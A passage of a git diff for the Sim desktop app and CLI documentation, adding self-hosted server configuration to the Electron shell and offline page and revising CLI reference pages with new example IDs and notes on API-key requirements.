shellVersion(), openExternal: (url: string): Promise => ipcRenderer.invoke('desktop:open-external', url), + ...(process.platform === 'darwin' || process.platform === 'win32' + ? { + openMicrophoneSettings: (): Promise => + ipcRenderer.invoke('desktop:open-microphone-settings'), + } + : {}), beginOAuthConnect: (providerId: string, scope?: DesktopOAuthConnectScope): Promise => ipcRenderer.invoke('desktop:oauth-connect', providerId, scope), onOAuthConnectComplete: (callback: (result: DesktopOAuthConnectResult) => void): (() => void) => { @@ -124,6 +132,15 @@ const api: SimDesktopApi = { offlineRetry: (): void => { ipcRenderer.send('offline:retry') }, + server: { + open: (): void => { + ipcRenderer.send('server:open') + }, + getConfiguration: (): Promise => + ipcRenderer.invoke('server:get-configuration'), + setOrigin: (origin: string): Promise => + ipcRenderer.invoke('server:set-origin', origin), + }, localFilesystem: (request: LocalFilesystemRequest): Promise => ipcRenderer.invoke('desktop:local-filesystem', request), onCommand: (callback: (command: DesktopCommand) => void): (() => void) => { @@ -439,7 +456,7 @@ const api: SimDesktopApi = { write: (terminalId: string, data: string, scopeId: string): void => { ipcRenderer.send('terminal:write', terminalId, data, scopeId) }, - paste: (terminalId: string, scopeId: string): Promise => + paste: (terminalId: string, scopeId: string) => ipcRenderer.invoke('terminal:paste', terminalId, scopeId), resize: (terminalId: string, cols: number, rows: number, scopeId: string): void => { ipcRenderer.send('terminal:resize', terminalId, cols, rows, scopeId) diff --git a/apps/desktop/src/test/electron-mock.ts b/apps/desktop/src/test/electron-mock.ts index 348fe5c1f63..92ab79f12c3 100644 --- a/apps/desktop/src/test/electron-mock.ts +++ b/apps/desktop/src/test/electron-mock.ts @@ -169,6 +169,7 @@ function createWebContentsMock() { setIgnoreMenuShortcuts: vi.fn(), getZoomFactor: vi.fn(() => 1), setZoomFactor: vi.fn(), + forcefullyCrashRenderer: vi.fn(), copy: vi.fn(), paste: vi.fn(), capturePage: vi.fn(() => { @@ -186,6 +187,7 @@ function createWebContentsMock() { navigationHistory: { canGoBack: vi.fn(() => false), canGoForward: vi.fn(() => false), + getActiveIndex: vi.fn(() => 0), goBack: vi.fn(), goForward: vi.fn(), }, diff --git a/apps/desktop/static/offline.html b/apps/desktop/static/offline.html index 231c415a83e..20d82e4bab9 100644 --- a/apps/desktop/static/offline.html +++ b/apps/desktop/static/offline.html @@ -126,6 +126,12 @@ stroke 150ms cubic-bezier(0.4, 0, 0.2, 1); -webkit-app-region: no-drag; } + /* `button { display: inline-flex }` is an author rule, so it beats the UA + stylesheet's `[hidden] { display: none }` no matter the specificity — + without this the hidden status button renders anyway. */ + button[hidden] { + display: none; + } button .label { min-width: 0; flex: 1; @@ -190,7 +196,8 @@

Can’t connect to Sim

- + +
@@ -227,10 +234,23 @@

Can’t connect to Sim

if (detail) document.getElementById('detail').textContent = detail const bridge = window.simDesktop + const statusButton = document.getElementById('status') document.getElementById('retry').addEventListener('click', () => bridge?.offlineRetry()) - document - .getElementById('status') - .addEventListener('click', () => bridge?.openExternal('https://status.sim.ai')) + statusButton.addEventListener('click', () => bridge?.openExternal('https://status.sim.ai')) + // The recovery path for a shell pointed at a server it cannot reach — + // a mistyped self-hosted origin strands the app here with nothing else + // to click. + document.getElementById('server').addEventListener('click', () => bridge?.server?.open()) + + // Hidden in the markup and only ever revealed, never the reverse: an + // older shell with no `server` bridge, or a configuration read that + // fails, must not leave a status link a self-hoster cannot use. + bridge?.server + ?.getConfiguration() + .then(({ isSimCloud }) => { + if (isSimCloud) statusButton.hidden = false + }) + .catch(() => {}) diff --git a/apps/desktop/static/server.html b/apps/desktop/static/server.html new file mode 100644 index 00000000000..ab39ce2e523 --- /dev/null +++ b/apps/desktop/static/server.html @@ -0,0 +1,266 @@ + + + + + + Sim - Server + + + +
+
+

Sim server

+

+ Point this app at your own Sim deployment. Self-hosted servers must use HTTPS; localhost may + use HTTP. +

+ + +
+
+ + +
+
+ + + diff --git a/apps/docs/content/docs/en/cli/audit-logs.mdx b/apps/docs/content/docs/en/cli/audit-logs.mdx index 01104feceb9..1c06a2785ee 100644 --- a/apps/docs/content/docs/en/cli/audit-logs.mdx +++ b/apps/docs/content/docs/en/cli/audit-logs.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim audit-logs get [options] ``` +Get Audit Log (personal API key required) + **Arguments** @@ -41,6 +43,8 @@ sim audit-logs get [options] sim audit-logs list [options] ``` +List Audit Logs (personal API key required) + **Options** diff --git a/apps/docs/content/docs/en/cli/authentication.mdx b/apps/docs/content/docs/en/cli/authentication.mdx index 40cdf96e307..68461afd01f 100644 --- a/apps/docs/content/docs/en/cli/authentication.mdx +++ b/apps/docs/content/docs/en/cli/authentication.mdx @@ -24,7 +24,7 @@ https://www.sim.ai/cli/auth?request=…&scope=platform Waiting for approval… ✓ Logged in. Key stored in /Users/you/.sim/credentials - Personal key, defaulting to ws_abc123. Override per command with --workspace. + Personal key, defaulting to 2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67. Override per command with --workspace. ``` There is no loopback listener, so this works over SSH and inside containers. @@ -47,7 +47,7 @@ profile's default `workspace`; it does **not** restrict the key to that workspace. Target another workspace the key can reach with `--workspace`: ```bash -sim workflows list --workspace ws_other +sim workflows list --workspace 9b4c7e02-1d58-4f36-a0c9-6e2b85df413a ``` `sim login --workspace ` preselects a workspace in the picker, and @@ -58,7 +58,7 @@ a workspace profile: ```bash sim workspaces list -sim profile add acme --workspace ws_acme +sim profile add acme --workspace 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 sim --profile acme whoami ``` @@ -108,9 +108,9 @@ config file: ```bash export SIM_API_KEY="sim_…" -export SIM_WORKSPACE="ws_abc123" +export SIM_WORKSPACE="2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67" -sim workflows run wf_7Yb2 --input '{"source":"nightly"}' --output json +sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --input '{"source":"nightly"}' --output json ``` Create the key in Sim under **Settings → API keys**. Store it as a secret in your @@ -130,7 +130,7 @@ jobs: with: node-version: '20' - run: npm install -g sim - - run: sim workflows run wf_7Yb2 --output json + - run: sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --output json env: SIM_API_KEY: ${{ secrets.SIM_API_KEY }} SIM_WORKSPACE: ${{ vars.SIM_WORKSPACE }} @@ -151,8 +151,8 @@ sim workflows list --profile prod Use workspace profiles when one personal key should target several workspaces: ```bash -sim profile add marketing --workspace ws_marketing -sim profile add support --workspace ws_support +sim profile add marketing --workspace c3a70e58-9f21-4d6b-b842-05e7f19c6a3d +sim profile add support --workspace e0d94b17-3c62-45af-9718-b6a2c8035f4e sim workflows list --profile marketing sim workflows list --profile support diff --git a/apps/docs/content/docs/en/cli/billing.mdx b/apps/docs/content/docs/en/cli/billing.mdx index c93a0552c2e..979d99ca7fb 100644 --- a/apps/docs/content/docs/en/cli/billing.mdx +++ b/apps/docs/content/docs/en/cli/billing.mdx @@ -31,6 +31,8 @@ Show billing status and current-period credit usage (credits and storage require sim billing logs [options] ``` +List credit usage events (a personal API key reports only your own events; a workspace API key reports every member's in aggregate, unattributed) + **Options** diff --git a/apps/docs/content/docs/en/cli/configuration.mdx b/apps/docs/content/docs/en/cli/configuration.mdx index b0b177f90f9..b5ba49ac7d4 100644 --- a/apps/docs/content/docs/en/cli/configuration.mdx +++ b/apps/docs/content/docs/en/cli/configuration.mdx @@ -28,14 +28,14 @@ sim profiles # list them; * marks the active one Add a profile for another workspace without creating or copying an API key: ```bash -sim profile add acme --workspace ws_acme +sim profile add acme --workspace 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 ``` ## Setting defaults ```bash sim configure --set-endpoint http://localhost:3000 --profile dev -sim configure --set-workspace ws_local --profile dev +sim configure --set-workspace 5c81f3a6-0e27-4b94-8d15-a7f60c39b2e8 --profile dev sim configure --set-output json ``` @@ -76,16 +76,16 @@ repo: ```ini title="~/.sim/config" [default] endpoint = https://www.sim.ai -workspace = ws_abc123 +workspace = 2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67 output = table [profile dev] endpoint = http://localhost:3000 -workspace = ws_local +workspace = 5c81f3a6-0e27-4b94-8d15-a7f60c39b2e8 [profile acme] auth_profile = default -workspace = ws_acme +workspace = 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 ``` Keys live in `~/.sim/credentials`, written `0600`: @@ -132,9 +132,9 @@ filesystem at all. Workspace-scoped commands need a workspace: ```bash -sim tables list --workspace ws_other -sim configure --set-workspace ws_abc123 -export SIM_WORKSPACE=ws_abc123 +sim tables list --workspace 9b4c7e02-1d58-4f36-a0c9-6e2b85df413a +sim configure --set-workspace 2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67 +export SIM_WORKSPACE=2f6d0b1c-8a34-4d92-b7e5-31c8a0f45d67 ``` For a reusable selection, create a workspace profile backed by the current @@ -142,7 +142,7 @@ stored login: ```bash sim workspaces list -sim profile add acme --workspace ws_acme +sim profile add acme --workspace 7e2d9c14-6b83-4a55-8f01-c4d3e9a76b28 sim --profile acme tables list ``` diff --git a/apps/docs/content/docs/en/cli/credentials.mdx b/apps/docs/content/docs/en/cli/credentials.mdx index de77e662048..aec2144c459 100644 --- a/apps/docs/content/docs/en/cli/credentials.mdx +++ b/apps/docs/content/docs/en/cli/credentials.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim credentials delete [options] ``` +Disconnect Credential (personal API key required) + **Arguments** @@ -31,7 +33,7 @@ sim credentials delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -78,6 +80,8 @@ sim credentials list [options] sim credentials update [options] ``` +Update Credential (personal API key required) + **Arguments** @@ -119,6 +123,8 @@ sim credentials update [options] sim credentials create [options] ``` +Create a service-account credential using its discovered provider schema (personal API key required) + **Arguments** @@ -148,6 +154,8 @@ sim credentials create [options] sim credentials connect [options] ``` +Create a short-lived link for connecting an OAuth provider (personal API key required) + **Arguments** @@ -174,6 +182,8 @@ sim credentials connect [options] sim credentials reconnect ``` +Create a short-lived link for reconnecting an OAuth credential (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/custom-tools.mdx b/apps/docs/content/docs/en/cli/custom-tools.mdx index 3f5af1e743f..097d4fb3fed 100644 --- a/apps/docs/content/docs/en/cli/custom-tools.mdx +++ b/apps/docs/content/docs/en/cli/custom-tools.mdx @@ -49,7 +49,7 @@ sim custom-tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/cli/files.mdx b/apps/docs/content/docs/en/cli/files.mdx index f910224e817..3d04694e7b8 100644 --- a/apps/docs/content/docs/en/cli/files.mdx +++ b/apps/docs/content/docs/en/cli/files.mdx @@ -21,8 +21,8 @@ sim files batch-delete [options] | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -85,7 +85,7 @@ sim files folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -107,7 +107,7 @@ Also available as `sim files folders ls`. | `--search ` | No | Case-insensitive substring match against the folder name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -168,7 +168,7 @@ sim files delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -194,7 +194,7 @@ sim files describe [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -220,6 +220,8 @@ sim files share get sim files share set [options] ``` +Enable or disable sharing for a file (personal API key required) + **Arguments** @@ -239,7 +241,7 @@ sim files share set [options] | `--is-active ` | Yes | Whether the share should resolve. Disabling preserves the token and the whole access configuration, so re-enabling restores the share as it was; enabling rewrites the credentials the resulting mode does not use. Accepted values: `true`, `false`. | | `--auth-type ` | No | How access to the share is gated. The stored mode is kept when omitted. Enabling `public` clears the stored password and empties `allowedEmails`; `password` empties `allowedEmails`; `email` and `sso` clear the stored password. Accepted values: `public`, `password`, `email`, `sso`. | | `--password ` | No | Password for a password-gated share. Kept when omitted; enabling `password` with neither a supplied nor a stored password is a 400. | -| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line). | +| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -258,7 +260,7 @@ sim files list [options] | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--recursive` | No | Whether the folder filter includes files in subfolders. Defaults to true when a search is set, false otherwise, so listing a folder shows that folder while searching one looks through everything in it. Ignored when no folder filter is set, which already spans the workspace. | | `--no-recursive` | No | Send --recursive as false. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--search ` | No | Case-insensitive substring match against the file name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `size`, `uploadedAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | @@ -280,7 +282,7 @@ Also available as `sim files mv`. | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -375,7 +377,7 @@ sim files unzip [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/cli/index.mdx b/apps/docs/content/docs/en/cli/index.mdx index ffe240c7b16..a9927e7d9e3 100644 --- a/apps/docs/content/docs/en/cli/index.mdx +++ b/apps/docs/content/docs/en/cli/index.mdx @@ -77,9 +77,9 @@ sim workflows list ``` ``` -ID NAME FOLDER DEPLOYED RUNS LAST RUN -wf_7Yb2 Refund triage /Support yes 412 2026-08-15 14:02:11 -wf_9Kd4 Weekly digest /Reporting no 18 2026-08-11 09:00:04 +ID NAME FOLDER DEPLOYED RUNS LAST RUN +3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 Refund triage /Support yes 412 2026-08-15 14:02:11 +b8c0d247-9e13-4a86-97f5-2ad4e1638c09 Weekly digest /Reporting no 18 2026-08-11 09:00:04 ``` @@ -87,7 +87,7 @@ wf_9Kd4 Weekly digest /Reporting no 18 2026-08-11 09:00:04 ### Run one ```bash -sim workflows run wf_7Yb2 --input '{"ticketId":"T-4821"}' +sim workflows run 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 --input '{"ticketId":"T-4821"}' ``` A workflow must be deployed before it can be run. Deploy from the editor, or @@ -106,8 +106,8 @@ sim [sub-resource] [arguments] [options] ```bash sim workflows list -sim tables rows query tbl_123 --limit 50 -sim knowledge documents upload kb_123 ./handbook.pdf +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --limit 50 +sim knowledge documents upload 4c1b7f60-2d55-4a3e-9c18-70b6ea2f9d31 ./handbook.pdf ``` Resource groups are plural, and each also accepts its singular spelling — @@ -146,8 +146,10 @@ sim tables rows query --help | [`workflow-mcp-servers`](/cli/workflow-mcp-servers) | Publish workflows as MCP tools for outside agents | | [`meta`](/cli/meta) | Check what this API supports and which limits apply | -The [command reference](/cli/commands) documents every subcommand, argument, and -flag, and is generated from the CLI itself. +The [command overview](/cli/commands) has the global options and the commands +that take no resource; the [complete reference](/cli/reference) documents every +subcommand, argument, and flag on one page. Both are generated from the CLI +itself. ## Where to go next @@ -156,4 +158,5 @@ flag, and is generated from the CLI itself. - [Output formats](/cli/output) — `table`, `json`, `yaml`, and `text`, and when to use each - [Scripting](/cli/scripting) — piping, file inputs, exit codes, and automation recipes - [Troubleshooting](/cli/troubleshooting) — what each error means, and how to resolve it -- [Command reference](/cli/commands) — every command, argument, and flag +- [Command overview](/cli/commands) — global options, the command groups, and the commands that take no resource +- [Complete reference](/cli/reference) — every command, argument, and flag on a single page diff --git a/apps/docs/content/docs/en/cli/knowledge.mdx b/apps/docs/content/docs/en/cli/knowledge.mdx index 9981ebce825..5d697bb22b1 100644 --- a/apps/docs/content/docs/en/cli/knowledge.mdx +++ b/apps/docs/content/docs/en/cli/knowledge.mdx @@ -15,6 +15,8 @@ Every command below also accepts the [global options](/cli/commands#global-optio sim knowledge from-workspace-files create [options] ``` +Index files the workspace already stores (personal API key required) + **Arguments** @@ -31,7 +33,7 @@ sim knowledge from-workspace-files create [options] | Option | Required | Description | | --- | --- | --- | -| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line). | +| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -41,6 +43,8 @@ sim knowledge from-workspace-files create [options] sim knowledge tags save [options] ``` +Declare the tag definitions a knowledge base needs (personal API key required) + **Arguments** @@ -67,6 +71,8 @@ sim knowledge tags save [options] sim knowledge tags create [options] ``` +Create Tag (personal API key required) + **Arguments** @@ -95,6 +101,8 @@ sim knowledge tags create [options] sim knowledge tags delete [options] ``` +Delete Tag (personal API key required) + **Arguments** @@ -112,7 +120,7 @@ sim knowledge tags delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -122,6 +130,8 @@ sim knowledge tags delete [options] sim knowledge tags cleanup [options] ``` +Remove tag definitions no document still uses (personal API key required) + **Arguments** @@ -140,7 +150,7 @@ sim knowledge tags cleanup [options] | --- | --- | --- | | `--unused` | No | Whether to remove only the tag definitions no document in the knowledge base still carries a value for. Defaults to true. Pass --no-unused to delete every definition on the knowledge base, which also clears its slot on every document and chunk and is not recoverable. | | `--no-unused` | No | Send --unused as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -150,6 +160,8 @@ sim knowledge tags cleanup [options] sim knowledge tags next-slot [options] ``` +Show which tag slot a create would take for a field type (personal API key required) + **Arguments** @@ -192,6 +204,8 @@ sim knowledge tags list sim knowledge tags usage ``` +Show how many documents and chunks carry each tag (personal API key required) + **Arguments** @@ -208,6 +222,8 @@ sim knowledge tags usage sim knowledge tags update [options] ``` +Update Tag (personal API key required) + **Arguments** @@ -236,6 +252,8 @@ sim knowledge tags update [options] sim knowledge chunks batch-update [options] ``` +Enable, disable, or delete many chunks at once (personal API key required) + **Arguments** @@ -254,8 +272,8 @@ sim knowledge chunks batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | What to do with the selected chunks. Accepted values: `enable`, `disable`, `delete`. | -| `--chunk ` | Yes | Chunks to operate on, by identifier. Ids outside the document are ignored. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--chunk ` | Yes | Chunks to operate on, by identifier. An id naming no chunk in the document is reported in errors and does not fail the request. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -265,6 +283,8 @@ sim knowledge chunks batch-update [options] sim knowledge chunks create [options] ``` +Create Chunk (personal API key required) + **Arguments** @@ -294,6 +314,8 @@ sim knowledge chunks create [options] sim knowledge chunks delete [options] ``` +Delete Chunk (personal API key required) + **Arguments** @@ -312,7 +334,7 @@ sim knowledge chunks delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -322,6 +344,8 @@ sim knowledge chunks delete [options] sim knowledge chunks get ``` +Get Chunk (personal API key required) + **Arguments** @@ -340,6 +364,8 @@ sim knowledge chunks get sim knowledge chunks list [options] ``` +List Chunks (personal API key required) + **Arguments** @@ -371,6 +397,8 @@ sim knowledge chunks list [options] sim knowledge chunks update [options] ``` +Update Chunk (personal API key required) + **Arguments** @@ -401,6 +429,8 @@ sim knowledge chunks update [options] sim knowledge documents batch-update [options] ``` +Enable or disable every matching document (personal API key required) + **Arguments** @@ -418,7 +448,7 @@ sim knowledge documents batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether the selected documents become enabled or disabled for search. Accepted values: `enable`, `disable`. | -| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line). | +| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--select-all` | No | Apply to every document in the knowledge base. | | `--enabled-filter ` | No | With `selectAll`, restrict the update to documents in this state. Accepted values: `all`, `enabled`, `disabled`. | @@ -447,7 +477,7 @@ sim knowledge documents delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -505,6 +535,8 @@ sim knowledge documents list [options] sim knowledge documents update [options] ``` +Update Document (personal API key required) + **Arguments** @@ -574,8 +606,8 @@ sim knowledge documents upload [options] | --- | --- | --- | | `--name ` | No | Store it under a different name. | | `--tag ` | No | Document tags, in tag1 through tag7 order. | -| `--recipe ` | No | Document processing recipe. | -| `--lang ` | No | Document language code. | +| `--recipe ` | No | Document processing recipe. Accepted values: `default`, `plain`, `markdown`, `code`. | +| `--lang ` | No | Document language tag: hyphen-separated letter and digit subtags, for example en or en-US. | @@ -604,6 +636,8 @@ sim knowledge create [options] sim knowledge connectors create [options] ``` +Create Knowledge Connector (personal API key required) + **Arguments** @@ -634,6 +668,8 @@ sim knowledge connectors create [options] sim knowledge connectors delete [options] ``` +Delete Knowledge Connector (personal API key required) + **Arguments** @@ -653,7 +689,7 @@ sim knowledge connectors delete [options] | --- | --- | --- | | `--delete-documents` | No | Also permanently delete documents produced by this connector. | | `--no-delete-documents` | No | Send --delete-documents as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -663,6 +699,8 @@ sim knowledge connectors delete [options] sim knowledge connectors get ``` +Get Knowledge Connector (personal API key required) + **Arguments** @@ -680,6 +718,8 @@ sim knowledge connectors get sim knowledge connectors documents list [options] ``` +List Knowledge Connector Documents (personal API key required) + **Arguments** @@ -709,6 +749,8 @@ sim knowledge connectors documents list [options sim knowledge connectors documents update [options] ``` +Update Knowledge Connector Documents (personal API key required) + **Arguments** @@ -727,7 +769,7 @@ sim knowledge connectors documents update [optio | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether to restore or exclude the selected documents. Accepted values: `restore`, `exclude`. | -| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -737,6 +779,8 @@ sim knowledge connectors documents update [optio sim knowledge connectors list [options] ``` +List Knowledge Connectors (personal API key required) + **Arguments** @@ -765,6 +809,8 @@ sim knowledge connectors list [options] sim knowledge connectors sync [options] ``` +Queue a knowledge connector synchronization (personal API key required) + **Arguments** @@ -793,6 +839,8 @@ sim knowledge connectors sync [options] sim knowledge connectors update [options] ``` +Update Knowledge Connector (personal API key required) + **Arguments** @@ -855,11 +903,11 @@ sim knowledge folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | -## List folders +## List knowledge folders ```bash sim knowledge folders list [options] @@ -921,7 +969,7 @@ sim knowledge delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -990,7 +1038,7 @@ sim knowledge search [options] | Option | Required | Description | | --- | --- | --- | -| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line). | +| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--query ` | No | Text to search for. | | `--top-k ` | No | Maximum number of search results to return. Must be a whole number between 1 and 100; the boundary schema only bounds the range, so a fractional value is admitted here and then rejected with 400 during search. | | `--tag-filters ` | No | Tag filters as [{"tagName":"...","operator":"...","value":"..."}] (JSON, or @path / @- to read a file or stdin). | diff --git a/apps/docs/content/docs/en/cli/logs.mdx b/apps/docs/content/docs/en/cli/logs.mdx index 920792e8bdf..df85aaa0bf1 100644 --- a/apps/docs/content/docs/en/cli/logs.mdx +++ b/apps/docs/content/docs/en/cli/logs.mdx @@ -35,7 +35,7 @@ sim logs get [options] -## Summarize run counts, failures, and cost over a window +## Summarize run counts, failures and latency over a window ```bash sim logs stats [options] @@ -47,9 +47,9 @@ sim logs stats [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -69,8 +69,8 @@ sim logs list [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value 